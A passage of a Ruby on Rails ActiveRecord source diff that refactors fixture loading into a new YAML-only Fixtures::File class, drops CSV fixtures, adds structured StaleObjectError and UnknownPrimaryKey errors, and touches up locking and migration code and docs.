more about optimistic locking in ActiveRecord::Locking module RDoc. class StaleObjectError < ActiveRecordError + attr_reader :record, :attempted_action + + def initialize(record, attempted_action) + @record = record + @attempted_action = attempted_action + end + + def message + "Attempted to #{attempted_action} a stale object: #{record.class.name}" + end end # Raised when association is being configured improperly or @@ -169,4 +179,17 @@ module ActiveRecord @errors = errors end end + + # Raised when a primary key is needed, but there is not one specified in the schema or model. + class UnknownPrimaryKey < ActiveRecordError + attr_reader :model + + def initialize(model) + @model = model + end + + def message + "Unknown primary key for table #{model.table_name} in model #{model}." + end + end end diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb index 4aa6389a04..cad9417216 100644 --- a/activerecord/lib/active_record/fixtures.rb +++ b/activerecord/lib/active_record/fixtures.rb @@ -6,14 +6,13 @@ rescue LoadError end require 'yaml' -require 'csv' require 'zlib' require 'active_support/dependencies' require 'active_support/core_ext/array/wrap' require 'active_support/core_ext/object/blank' require 'active_support/core_ext/logger' require 'active_support/ordered_hash' -require 'active_support/core_ext/module/deprecation' +require 'active_record/fixtures/file' if defined? ActiveRecord class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc: @@ -25,378 +24,368 @@ end class FixturesFileNotFound < StandardError; end -# Fixtures are a way of organizing data that you want to test against; in short, sample data. -# -# = Fixture formats -# -# Fixtures come in 1 flavor: -# -# 1. YAML fixtures -# -# == YAML fixtures -# -# This type of fixture is in YAML format and the preferred default. YAML is a file format which describes data structures -# in a non-verbose, human-readable format. It ships with Ruby 1.8.1+. -# -# Unlike single-file fixtures, YAML fixtures are stored in a single file per model, which are placed -# in the directory appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is -# automatically configured for Rails, so you can just put your files in <tt><your-rails-app>/test/fixtures/</tt>). -# The fixture file ends with the <tt>.yml</tt> file extension (Rails example: -# <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>). The format of a YAML fixture file looks like this: -# -# rubyonrails: -# id: 1 -# name: Ruby on Rails -# url: http://www.rubyonrails.org -# -# google: -# id: 2 -# name: Google -# url: http://www.google.com -# -# This YAML fixture file includes two fixtures. Each YAML fixture (ie. record) is given a name and is followed by an -# indented list of key/value pairs in the "key: value" format. Records are separated by a blank line for your viewing -# pleasure. -# -# Note that YAML fixtures are unordered. If you want ordered fixtures, use the omap YAML type. -# See http://yaml.org/type/omap.html -# for the specification. You will need ordered fixtures when you have foreign key constraints on keys in the same table. -# This is commonly needed for tree structures. Example: -# -# --- !omap -# - parent: -# id: 1 -# parent_id: NULL -# title: Parent -# - child: -# id: 2 -# parent_id: 1 -# title: Child -# -# = Using fixtures in testcases -# -# Since fixtures are a testing construct, we use them in our unit and functional tests. There are two ways to use the -# fixtures, but first let's take a look at a sample unit test: -# -# require 'test_helper' -# -# class WebSiteTest < ActiveSupport::TestCase -# test "web_site_count" do -# assert_equal 2, WebSite.count -# end -# end -# -# By default, the <tt>test_helper module</tt> will load all of your fixtures into your test database, -# so this test will succeed. -# The testing environment will automatically load the all fixtures into the database before each test. -# To ensure consistent data, the environment deletes the fixtures before running the load. -# -# In addition to being available in the database, the fixture's data may also be accessed by -# using a special dynamic method, which has the same name as the model, and accepts the -# name of the fixture to instantiate: -# -# test "find" do -# assert_equal "Ruby on Rails", web_sites(:rubyonrails).name -# end -# -# Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the following tests: -# -# test "find_alt_method_1" do -# assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name'] -# end -# -# test "find_alt_method_2" do -# assert_equal "Ruby on Rails", @rubyonrails.news -# end -# -# In order to use these methods to access fixtured data within your testcases, you must specify one of the -# following in your <tt>ActiveSupport::TestCase</tt>-derived class: -# -# - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above) -# self.use_instantiated_fixtures = true -# -# - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only) -# self.use_instantiated_fixtures = :no_instances -# -# Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully -# traversed in the database to create the fixture hash and/or instance variables. This is expensive for -# large sets of fixtured data. -# -# = Dynamic fixtures with ERB -# -# Some times you don't care about the content of the fixtures as much as you care about the volume. In these cases, you can -# mix ERB in with your YAML fixtures to create a bunch of fixtures for load testing, like: -# -# <% for i in 1..1000 %> -# fix_<%= i %>: -# id: <%= i %> -# name: guy_<%= 1 %> -# <% end %> -# -# This will create 1000 very simple YAML fixtures. -# -# Using ERB, you can also inject dynamic values into your fixtures with inserts like <tt><%= Date.today.strftime("%Y-%m-%d") %></tt>. -# This is however a feature to be used with some caution. The point of fixtures are that they're -# stable units of predictable sample data. If you feel that you need to inject dynamic values, then -# perhaps you should reexamine whether your application is properly testable. Hence, dynamic values -# in fixtures are to be considered a code smell. -# -# = Transactional fixtures -# -# TestCases can use begin+rollback to isolate their changes to the database instead of having to -# delete+insert for every test case. -# -# class FooTest < ActiveSupport::TestCase -# self.use_transactional_fixtures = true -# -# test "godzilla" do -# assert !Foo.find(:all).empty? -# Foo.destroy_all -# assert Foo.find(:all).empty? -# end -# -# test "godzilla aftermath" do -# assert !Foo.find(:all).empty? -# end -# end -# -# If you preload your test database with all fixture data (probably in the Rakefile task) and use transactional fixtures, -# then you may omit all fixtures declarations in your test cases since all the data's already there -# and every case rolls back its changes. -# -# In order to use instantiated fixtures with preloaded data, set +self.pre_loaded_fixtures+ to true. This will provide -# access to fixture data for every table that has been loaded through fixtures (depending on the -# value of +use_instantiated_fixtures+) -# -# When *not* to use transactional fixtures: -# -# 1. You're testing whether a transaction works correctly. Nested transactions don't commit until -# all parent transactions commit, particularly, the fixtures transaction which is begun in setup -# and rolled back in teardown. Thus, you won't be able to verify -# the results of your transaction until Active Record supports nested transactions or savepoints (in progress). -# 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM. -# Use InnoDB, MaxDB, or NDB instead. -# -# = Advanced YAML Fixtures -# -# YAML fixtures that don't specify an ID get some extra features: -# -# * Stable, autogenerated IDs -# * Label references for associations (belongs_to, has_one, has_many) -# * HABTM associations as inline lists -# * Autofilled timestamp columns -# * Fixture label interpolation -# * Support for YAML defaults -# -# == Stable, autogenerated IDs -# -# Here, have a monkey fixture: -# -# george: -# id: 1 -# name: George the Monkey -# -# reginald: -# id: 2 -# name: Reginald the Pirate -# -# Each of these fixtures has two unique identifiers: one for the database -# and one for the humans. Why don't we generate the primary key instead? -# Hashing each fixture's label yields a consistent ID: -# -# george: # generated id: 503576764 -# name: George the Monkey -# -# reginald: # generated id: 324201669 -# name: Reginald the Pirate -# -# Active Record looks at the fixture's model class, discovers the correct -# primary key, and generates it right before inserting the fixture -# into the database. -# -# The generated ID for a given label is constant, so we can discover -# any fixture's ID without loading anything, as long as we know the label. -# -# == Label references for associations (belongs_to, has_one, has_many) -# -# Specifying foreign keys in fixtures can be very fragile, not to -# mention difficult to read. Since Active Record can figure out the ID of -# any fixture from its label, you can specify FK's by label instead of ID. -# -# === belongs_to -# -# Let's break out some more monkeys and pirates. -# -# ### in pirates.yml -# -# reginald: -# id: 1 -# name: Reginald the Pirate -# monkey_id: 1 -# -# ### in monkeys.yml -# -# george: -# id: 1 -# name: George the Monkey -# pirate_id: 1 -# -# Add a few more monkeys and pirates and break this into multiple files, -# and it gets pretty hard to keep track of what's going on. Let's -# use labels instead of IDs: -# -# ### in pirates.yml -# -# reginald: -# name: Reginald the Pirate -# monkey: george -# -# ### in monkeys.yml -# -# george: -# name: George the Monkey -# pirate: reginald -# -# Pow! All is made clear. Active Record reflects on the fixture's model class, -# finds all the +belongs_to+ associations, and allows you to specify -# a target *label* for the *association* (monkey: george) rather than -# a target *id* for the *FK* (<tt>monkey_id: 1</tt>). -# -# ==== Polymorphic belongs_to -# -# Supporting polymorphic relationships is a little bit more complicated, since -# Active Record needs to know what type your association is pointing at. Something -# like this should look familiar: -# -# ### in fruit.rb -# -# belongs_to :eater, :polymorphic => true -# -# ### in fruits.yml -# -# apple: -# id: 1 -# name: apple -# eater_id: 1 -# eater_type: Monkey -# -# Can we do better? You bet! -# -# apple: -# eater: george (Monkey) -# -# Just provide the polymorphic target type and Active Record will take care of the rest. -# -# === has_and_belongs_to_many -# -# Time to give our monkey some fruit. -# -# ### in monkeys.yml -# -# george: -# id: 1 -# name: George the Monkey -# -# ### in fruits.yml -# -# apple: -# id: 1 -# name: apple -# -# orange: -# id: 2 -# name: orange -# -# grape: -# id: 3 -# name: grape -# -# ### in fruits_monkeys.yml -# -# apple_george: -# fruit_id: 1 -# monkey_id: 1 -# -# orange_george: -# fruit_id: 2 -# monkey_id: 1 -# -# grape_george: -# fruit_id: 3 -# monkey_id: 1 -# -# Let's make the HABTM fixture go away. -# -# ### in monkeys.yml -# -# george: -# id: 1 -# name: George the Monkey -# fruits: apple, orange, grape -# -# ### in fruits.yml -# -# apple: -# name: apple -# -# orange: -# name: orange -# -# grape: -# name: grape -# -# Zap! No more fruits_monkeys.yml file. We've specified the list of fruits -# on George's fixture, but we could've just as easily specified a list -# of monkeys on each fruit. As with +belongs_to+, Active Record reflects on -# the fixture's model class and discovers the +has_and_belongs_to_many+ -# associations. -# -# == Autofilled timestamp columns -# -# If your table/model specifies any of Active Record's -# standard timestamp columns (+created_at+, +created_on+, +updated_at+, +updated_on+), -# they will automatically be set to <tt>Time.now</tt>. -# -# If you've set specific values, they'll be left alone. -# -# == Fixture label interpolation -# -# The label of the current fixture is always available as a column value: -# -# geeksomnia: -# name: Geeksomnia's Account -# subdomain: $LABEL -# -# Also, sometimes (like when porting older join table fixtures) you'll need -# to be able to get a hold of the identifier for a given label. ERB -# to the rescue: -# -# george_reginald: -# monkey_id: <%= ActiveRecord::Fixtures.identify(:reginald) %> -# pirate_id: <%= ActiveRecord::Fixtures.identify(:george) %> -# -# == Support for YAML defaults -# -# You probably already know how to use YAML to set and reuse defaults in -# your <tt>database.yml</tt> file. You can use the same technique in your fixtures: -# -# DEFAULTS: &DEFAULTS -# created_on: <%= 3.weeks.ago.to_s(:db) %> -# -# first: -# name: Smurf -# <<: *DEFAULTS -# -# second: -# name: Fraggle -# <<: *DEFAULTS -# -# Any fixture labeled "DEFAULTS" is safely ignored. - -Fixture = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('Fixture', 'ActiveRecord::Fixture') -Fixtures = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('Fixtures', 'ActiveRecord::Fixtures') - module ActiveRecord + # \Fixtures are a way of organizing data that you want to test against; in short, sample data. + # + # They are stored in YAML files, one file per model, which are placed in the directory + # appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically + # configured for Rails, so you can just put your files in <tt><your-rails-app>/test/fixtures/</tt>). + # The fixture file ends with the <tt>.yml</tt> file extension (Rails example: + # <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>). The format of a fixture file looks + # like this: + # + # rubyonrails: + # id: 1 + # name: Ruby on Rails + # url: http://www.rubyonrails.org + # + # google: + # id: 2 + # name: Google + # url: http://www.google.com + # + # This fixture file includes two fixtures. Each YAML fixture (ie. record) is given a name and + # is followed by an indented list of key/value pairs in the "key: value" format. Records are + # separated by a blank line for your viewing pleasure. + # + # Note that fixtures are unordered. If you want ordered fixtures, use the omap YAML type. + # See http://yaml.org/type/omap.html + # for the specification. You will need ordered fixtures when you have foreign key constraints + # on keys in the same table. This is commonly needed for tree structures. Example: + # + # --- !omap + # - parent: + # id: 1 + # parent_id: NULL + # title: Parent + # - child: + # id: 2 + # parent_id: 1 + # title: Child + # + # = Using Fixtures in Test Cases + # + # Since fixtures are a testing construct, we use them in our unit and functional tests. There + # are two ways to use the fixtures, but first let's take a look at a sample unit test: + # + # require 'test_helper' + # + # class WebSiteTest < ActiveSupport::TestCase + # test "web_site_count" do + # assert_equal 2, WebSite.count + # end + # end + # + # By default, <tt>test_helper.rb</tt> will load all of your fixtures into your test database, + # so this test will succeed. + # + # The testing environment will automatically load the all fixtures into the database before each + # test. To ensure consistent data, the environment deletes the fixtures before running the load. + # + # In addition to being available in the database, the fixture's data may also be accessed by + # using a special dynamic method, which has the same name as the model, and accepts the + # name of the fixture to instantiate: + # + # test "find" do + # assert_equal "Ruby on Rails", web_sites(:rubyonrails).name + # end + # + # Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the + # following tests: + # + # test "find_alt_method_1" do + # assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name'] + # end + # + # test "find_alt_method_2" do + # assert_equal "Ruby on Rails", @rubyonrails.news + # end + # + # In order to use these methods to access fixtured data within your testcases, you must specify one of the + # following in your <tt>ActiveSupport::TestCase</tt>-derived class: + # + # - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above) + # self.use_instantiated_fixtures = true + # + # - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only) + # self.use_instantiated_fixtures = :no_instances + # + # Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully + # traversed in the database to create the fixture hash and/or instance variables. This is expensive for + # large sets of fixtured data. + # + # = Dynamic fixtures with ERB + # + # Some times you don't care about the content of the fixtures as much as you care about the volume. + # In these cases, you can mix ERB in with your YAML fixtures to create a bunch of fixtures for load + # testing, like: + # + # <% 1.upto(1000) do |i| %> + # fix_<%= i %>: + # id: <%= i %> + # name: guy_<%= 1 %> + # <% end %> + # + # This will create 1000 very simple fixtures. + # + # Using ERB, you can also inject dynamic values into your fixtures with inserts like + # <tt><%= Date.today.strftime("%Y-%m-%d") %></tt>. + # This is however a feature to be used with some caution. The point of fixtures are that they're + # stable units of predictable sample data. If you feel that you need to inject dynamic values, then + # perhaps you should reexamine whether your application is properly testable. Hence, dynamic values + # in fixtures are to be considered a code smell. + # + # = Transactional Fixtures + # + # Test cases can use begin+rollback to isolate their changes to the database instead of having to + # delete+insert for every test case. + # + # class FooTest < ActiveSupport::TestCase + # self.use_transactional_fixtures = true + # + # test "godzilla" do + # assert !Foo.all.empty? + # Foo.destroy_all + # assert Foo.all.empty? + # end + # + # test "godzilla aftermath" do + # assert !Foo.all.empty? + # end + # end + # + # If you preload your test database with all fixture data (probably in the rake task) and use + # transactional fixtures, then you may omit all fixtures declarations in your test cases since + # all the data's already there and every case rolls back its changes. + # + # In order to use instantiated fixtures with preloaded data, set +self.pre_loaded_fixtures+ to + # true. This will provide access to fixture data for every table that has been loaded through + # fixtures (depending on the value of +use_instantiated_fixtures+). + # + # When *not* to use transactional fixtures: + # + # 1. You're testing whether a transaction works correctly. Nested transactions don't commit until + # all parent transactions commit, particularly, the fixtures transaction which is begun in setup + # and rolled back in teardown. Thus, you won't be able to verify + # the results of your transaction until Active Record supports nested transactions or savepoints (in progress). + # 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM. + # Use InnoDB, MaxDB, or NDB instead. + # + # = Advanced Fixtures + # + # Fixtures that don't specify an ID get some extra features: + # + # * Stable, autogenerated IDs + # * Label references for associations (belongs_to, has_one, has_many) + # * HABTM associations as inline lists + # * Autofilled timestamp columns + # * Fixture label interpolation + # * Support for YAML defaults + # + # == Stable, Autogenerated IDs + # + # Here, have a monkey fixture: + # + # george: + # id: 1 + # name: George the Monkey + # + # reginald: + # id: 2 + # name: Reginald the Pirate + # + # Each of these fixtures has two unique identifiers: one for the database + # and one for the humans. Why don't we generate the primary key instead? + # Hashing each fixture's label yields a consistent ID: + # + # george: # generated id: 503576764 + # name: George the Monkey + # + # reginald: # generated id: 324201669 + # name: Reginald the Pirate + # + # Active Record looks at the fixture's model class, discovers the correct + # primary key, and generates it right before inserting the fixture + # into the database. + # + # The generated ID for a given label is constant, so we can discover + # any fixture's ID without loading anything, as long as we know the label. + # + # == Label references for associations (belongs_to, has_one, has_many) + # + # Specifying foreign keys in fixtures can be very fragile, not to + # mention difficult to read. Since Active Record can figure out the ID of + # any fixture from its label, you can specify FK's by label instead of ID. + # + # === belongs_to + # + # Let's break out some more monkeys and pirates. + # + # ### in pirates.yml + # + # reginald: + # id: 1 + # name: Reginald the Pirate + # monkey_id: 1 + # + # ### in monkeys.yml + # + # george: + # id: 1 + # name: George the Monkey + # pirate_id: 1 + # + # Add a few more monkeys and pirates and break this into multiple files, + # and it gets pretty hard to keep track of what's going on. Let's + # use labels instead of IDs: + # + # ### in pirates.yml + # + # reginald: + # name: Reginald the Pirate + # monkey: george + # + # ### in monkeys.yml + # + # george: + # name: George the Monkey + # pirate: reginald + # + # Pow! All is made clear. Active Record reflects on the fixture's model class, + # finds all the +belongs_to+ associations, and allows you to specify + # a target *label* for the *association* (monkey: george) rather than + # a target *id* for the *FK* (<tt>monkey_id: 1</tt>). + # + # ==== Polymorphic belongs_to + # + # Supporting polymorphic relationships is a little bit more complicated, since + # Active Record needs to know what type your association is pointing at. Something + # like this should look familiar: + # + # ### in fruit.rb + # + # belongs_to :eater, :polymorphic => true + # + # ### in fruits.yml + # + # apple: + # id: 1 + # name: apple + # eater_id: 1 + # eater_type: Monkey + # + # Can we do better? You bet! + # + # apple: + # eater: george (Monkey) + # + # Just provide the polymorphic target type and Active Record will take care of the rest. + # + # === has_and_belongs_to_many + # + # Time to give our monkey some fruit. + # + # ### in monkeys.yml + # + # george: + # id: 1 + # name: George the Monkey + # + # ### in fruits.yml + # + # apple: + # id: 1 + # name: apple + # + # orange: + # id: 2 + # name: orange + # + # grape: + # id: 3 + # name: grape + # + # ### in fruits_monkeys.yml + # + # apple_george: + # fruit_id: 1 + # monkey_id: 1 + # + # orange_george: + # fruit_id: 2 + # monkey_id: 1 + # + # grape_george: + # fruit_id: 3 + # monkey_id: 1 + # + # Let's make the HABTM fixture go away. + # + # ### in monkeys.yml + # + # george: + # id: 1 + # name: George the Monkey + # fruits: apple, orange, grape + # + # ### in fruits.yml + # + # apple: + # name: apple + # + # orange: + # name: orange + # + # grape: + # name: grape + # + # Zap! No more fruits_monkeys.yml file. We've specified the list of fruits + # on George's fixture, but we could've just as easily specified a list + # of monkeys on each fruit. As with +belongs_to+, Active Record reflects on + # the fixture's model class and discovers the +has_and_belongs_to_many+ + # associations. + # + # == Autofilled Timestamp Columns + # + # If your table/model specifies any of Active Record's + # standard timestamp columns (+created_at+, +created_on+, +updated_at+, +updated_on+), + # they will automatically be set to <tt>Time.now</tt>. + # + # If you've set specific values, they'll be left alone. + # + # == Fixture label interpolation + # + # The label of the current fixture is always available as a column value: + # + # geeksomnia: + # name: Geeksomnia's Account + # subdomain: $LABEL + # + # Also, sometimes (like when porting older join table fixtures) you'll need + # to be able to get a hold of the identifier for a given label. ERB + # to the rescue: + # + # george_reginald: + # monkey_id: <%= ActiveRecord::Fixtures.identify(:reginald) %> + # pirate_id: <%= ActiveRecord::Fixtures.identify(:george) %> + # + # == Support for YAML defaults + # + # You probably already know how to use YAML to set and reuse defaults in + # your <tt>database.yml</tt> file. You can use the same technique in your fixtures: + # + # DEFAULTS: &DEFAULTS + # created_on: <%= 3.weeks.ago.to_s(:db) %> + # + # first: + # name: Smurf + # *DEFAULTS + # + # second: + # name: Fraggle + # *DEFAULTS + # + # Any fixture labeled "DEFAULTS" is safely ignored. class Fixtures MAX_ID = 2 ** 30 - 1 @@ -477,7 +466,7 @@ module ActiveRecord connection, table_name, class_names[table_name.to_sym] || table_name.classify, - File.join(fixtures_directory, path)) + ::File.join(fixtures_directory, path)) end all_loaded_fixtures.update(fixtures_map) @@ -558,7 +547,7 @@ module ActiveRecord fixtures.size end - # Return a hash of rows to be inserted. The key is the table, the value is + # Return a hash of rows to be inserted. The key is the table, the value is # a list of rows to insert to that table. def table_rows now = ActiveRecord::Base.default_timezone == :utc ? Time.now.utc : Time.now @@ -655,74 +644,33 @@ module ActiveRecord end def read_fixture_files - if File.file?(yaml_file_path) + if ::File.file?(yaml_file_path) read_yaml_fixture_files - elsif File.file?(csv_file_path) - read_csv_fixture_files else - raise FixturesFileNotFound, "Could not find #{yaml_file_path} or #{csv_file_path}" + raise FixturesFileNotFound, "Could not find #{yaml_file_path}" end end def read_yaml_fixture_files - yaml_string = (Dir["#{@fixture_path}/**/*.yml"].select { |f| - File.file?(f) - } + [yaml_file_path]).map { |file_path| IO.read(file_path) }.join - - if yaml = parse_yaml_string(yaml_string) - # If the file is an ordered map, extract its children. - yaml_value = - if yaml.respond_to?(:type_id) && yaml.respond_to?(:value) - yaml.value - else - [yaml] - end - - yaml_value.each do |fixture| - raise Fixture::FormatError, "Bad data for #{@class_name} fixture named #{fixture}" unless fixture.respond_to?(:each) - fixture.each do |name, data| - unless data - raise Fixture::FormatError, "Bad data for #{@class_name} fixture named #{name} (nil)" - end - - fixtures[name] = ActiveRecord::Fixture.new(data, model_class) + yaml_files = Dir["#{@fixture_path}/**/*.yml"].select { |f| + ::File.file?(f) + } + [yaml_file_path] + + yaml_files.each do |file| + Fixtures::File.open(file) do |fh| + fh.each do |name, row| + fixtures[name] = ActiveRecord::Fixture.new(row, model_class) end end end end - def read_csv_fixture_files - reader = CSV.parse(erb_render(IO.read(csv_file_path))) - header = reader.shift - i = 0 - reader.each do |row| - data = {} - row.each_with_index { |cell, j| data[header[j].to_s.strip] = cell.to_s.strip } - fixtures["#{@class_name.to_s.underscore}_#{i+=1}"] = ActiveRecord::Fixture.new(data, model_class) - end - end - deprecate :read_csv_fixture_files - def yaml_file_path "#{@fixture_path}.yml" end - def csv_file_path - @fixture_path + ".csv" - end - def yaml_fixtures_key(path) - File.basename(@fixture_path).split(".").first - end - - def parse_yaml_string(fixture_content) - YAML::load(erb_render(fixture_content)) - rescue => error - raise Fixture::FormatError, "a YAML error occurred parsing #{yaml_file_path}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n #{error.class}: #{error}" - end - - def erb_render(fixture_content) - ERB.new(fixture_content).result + ::File.basename(@fixture_path).split(".").first end end @@ -798,7 +746,7 @@ module ActiveRecord def fixtures(*fixture_names) if fixture_names.first == :all - fixture_names = Dir["#{fixture_path}/**/*.{yml,csv}"] + fixture_names = Dir["#{fixture_path}/**/*.{yml}"] fixture_names.map! { |f| f[(fixture_path.size + 1)..-5] } else fixture_names = fixture_names.flatten.map { |n| n.to_s } @@ -894,9 +842,12 @@ module ActiveRecord @loaded_fixtures = load_fixtures @@already_loaded_fixtures[self.class] = @loaded_fixtures end - ActiveRecord::Base.connection.increment_open_transactions - ActiveRecord::Base.connection.transaction_joinable = false - ActiveRecord::Base.connection.begin_db_transaction + @fixture_connections = enlist_fixture_connections + @fixture_connections.each do |connection| + connection.increment_open_transactions + connection.transaction_joinable = false + connection.begin_db_transaction + end # Load fixtures for every test. else ActiveRecord::Fixtures.reset_cache @@ -916,13 +867,22 @@ module ActiveRecord end # Rollback changes if a transaction is active. - if run_in_transaction? && ActiveRecord::Base.connection.open_transactions != 0 - ActiveRecord::Base.connection.rollback_db_transaction - ActiveRecord::Base.connection.decrement_open_transactions + if run_in_transaction? + @fixture_connections.each do |connection| + if connection.open_transactions != 0 + connection.rollback_db_transaction + connection.decrement_open_transactions + end + end + @fixture_connections.clear end ActiveRecord::Base.clear_active_connections! end + def enlist_fixture_connections + ActiveRecord::Base.connection_handler.connection_pools.values.map(&:connection) + end + private def load_fixtures fixtures = ActiveRecord::Fixtures.create_fixtures(fixture_path, fixture_table_names, fixture_class_names) diff --git a/activerecord/lib/active_record/fixtures/file.rb b/activerecord/lib/active_record/fixtures/file.rb new file mode 100644 index 0000000000..6bad36abb9 --- /dev/null +++ b/activerecord/lib/active_record/fixtures/file.rb @@ -0,0 +1,65 @@ +begin + require 'psych' +rescue LoadError +end + +require 'erb' +require 'yaml' + +module ActiveRecord + class Fixtures + class File + include Enumerable + + ## + # Open a fixture file named +file+. When called with a block, the block + # is called with the filehandle and the filehandle is automatically closed + # when the block finishes. + def self.open(file) + x = new file + block_given? ? yield(x) : x + end + + def initialize(file) + @file = file + @rows = nil + end + + def each(&block) + rows.each(&block) + end + + RESCUE_ERRORS = [ ArgumentError ] # :nodoc: + + private + if defined?(Psych) && defined?(Psych::SyntaxError) + RESCUE_ERRORS << Psych::SyntaxError + end + + def rows + return @rows if @rows + + begin + data = YAML.load(render(IO.read(@file))) + rescue *RESCUE_ERRORS => error + raise Fixture::FormatError, "a YAML error occurred parsing #{@file}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n #{error.class}: #{error}", error.backtrace + end + @rows = data ? validate(data).to_a : [] + end + + def render(content) + ERB.new(content).result + end + + # Validate our unmarshalled data. + def validate(data) + unless Hash === data || YAML::Omap === data + raise Fixture::FormatError, 'fixture is not a hash' + end + + raise Fixture::FormatError unless data.all? { |name, row| Hash === row } + data + end + end + end +end diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb index 3afa257a76..1a29ded787 100644 --- a/activerecord/lib/active_record/locking/optimistic.rb +++ b/activerecord/lib/active_record/locking/optimistic.rb @@ -37,6 +37,9 @@ module ActiveRecord # You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, # or otherwise apply the business logic needed to resolve the conflict. # + # This locking mechanism will function inside a single Ruby process. To make it work across all + # web requests, the recommended approach is to add +lock_version+ as a hidden field to your form. + # # You must ensure that your database schema defaults the +lock_version+ column to 0. # # This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>. @@ -70,10 +73,10 @@ module ActiveRecord # If the locking column has no default value set, # start the lock version at zero. Note we can't use - # <tt>locking_enabled?</tt> at this point as + # <tt>locking_enabled?</tt> at this point as # <tt>@attributes</tt> may not have been initialized yet. - if lock_optimistically && result.include?(self.class.locking_column) + if result.key?(self.class.locking_column) && lock_optimistically result[self.class.locking_column] ||= 0 end @@ -100,10 +103,10 @@ module ActiveRecord ) ).arel.compile_update(arel_attributes_values(false, false, attribute_names)) - affected_rows = connection.update stmt.to_sql + affected_rows = connection.update stmt unless affected_rows == 1 - raise ActiveRecord::StaleObjectError, "Attempted to update a stale object: #{self.class.name}" + raise ActiveRecord::StaleObjectError.new(self, "update") end affected_rows @@ -127,7 +130,7 @@ module ActiveRecord affected_rows = self.class.unscoped.where(predicate).delete_all unless affected_rows == 1 - raise ActiveRecord::StaleObjectError, "Attempted to delete a stale object: #{self.class.name}" + raise ActiveRecord::StaleObjectError.new(self, "destroy") end end diff --git a/activerecord/lib/active_record/locking/pessimistic.rb b/activerecord/lib/active_record/locking/pessimistic.rb index 4c4c1bf5a1..66994e4797 100644 --- a/activerecord/lib/active_record/locking/pessimistic.rb +++ b/activerecord/lib/active_record/locking/pessimistic.rb @@ -14,7 +14,7 @@ module ActiveRecord # Account.transaction do # # select * from accounts where name = 'shugo' limit 1 for update # shugo = Account.where("name = 'shugo'").lock(true).first - # yuko = Account.where("name = 'shugo'").lock(true).first + # yuko = Account.where("name = 'yuko'").lock(true).first # shugo.balance -= 100 # shugo.save! # yuko.balance += 100 diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb index 640111096d..7166f1b82a 100644 --- a/activerecord/lib/active_record/migration.rb +++ b/activerecord/lib/active_record/migration.rb @@ -1,3 +1,5 @@ +require "active_support/core_ext/module/delegation" +require "active_support/core_ext/class/attribute_accessors" require "active_support/core_ext/array/wrap" module ActiveRecord @@ -53,7 +55,7 @@ module ActiveRecord # # This migration will add a boolean flag to the accounts table and remove it # if you're backing out of the migration. It shows how all migrations have - # two class methods +up+ and +down+ that describes the transformations + # two methods +up+ and +down+ that describes the transformations # required to implement or remove the migration. These methods can consist # of both the migration specific methods like add_column and remove_column, # but may also contain regular Ruby code for generating data needed for the @@ -66,9 +68,9 @@ module ActiveRecord # create_table :system_settings do |t| # t.string :name # t.string :label - # t.text :value + # t.text :value # t.string :type - # t.integer :position + # t.integer :position # end # # SystemSetting.create :name => "notice", @@ -116,8 +118,10 @@ module ActiveRecord # with the name of the column. Other options include # <tt>:name</tt> and <tt>:unique</tt> (e.g. # <tt>{ :name => "users_name_index", :unique => true }</tt>). - # * <tt>remove_index(table_name, index_name)</tt>: Removes the index specified - # by +index_name+. + # * <tt>remove_index(table_name, :column => column_name)</tt>: Removes the index + # specified by +column_name+. + # * <tt>remove_index(table_name, :name => index_name)</tt>: Removes the index + # specified by +index_name+. # # == Irreversible transformations # @@ -179,7 +183,7 @@ module ActiveRecord # # class RemoveEmptyTags < ActiveRecord::Migration # def up - # Tag.find(:all).each { |tag| tag.destroy if tag.pages.empty? } + # Tag.all.each { |tag| tag.destroy if tag.pages.empty? } # end # # def down @@ -225,7 +229,7 @@ module ActiveRecord # def up # add_column :people, :salary, :integer # Person.reset_column_information - # Person.find(:all).each do |p| + # Person.all.each do |p| # p.update_attribute :salary, SalaryCalculator.compute(p) # end # end @@ -245,7 +249,7 @@ module ActiveRecord # def up # ... # say_with_time "Updating salaries..." do - # Person.find(:all).each do |p| + # Person.all.each do |p| # p.update_attribute :salary, SalaryCalculator.compute(p) # end # end @@ -328,6 +332,10 @@ module ActiveRecord (delegate || superclass.delegate).send(name, *args, &block) end + def self.migrate(direction) + new.migrate direction + end + cattr_accessor :verbose attr_accessor :name, :version @@ -555,7 +563,7 @@ module ActiveRecord def get_all_versions table = Arel::Table.new(schema_migrations_table_name) - Base.connection.select_values(table.project(table['version']).to_sql).map{ |v| v.to_i }.sort + Base.connection.select_values(table.project(table['version'])).map{ |v| v.to_i }.sort end def current_version @@ -712,11 +720,11 @@ module ActiveRecord if down? @migrated_versions.delete(version) stmt = table.where(table["version"].eq(version.to_s)).compile_delete - Base.connection.delete stmt.to_sql + Base.connection.delete stmt else @migrated_versions.push(version).sort! stmt = table.compile_insert table["version"] => version.to_s - Base.connection.insert stmt.to_sql + Base.connection.insert stmt end end diff --git a/activerecord/lib/active_record/migration/command_recorder.rb 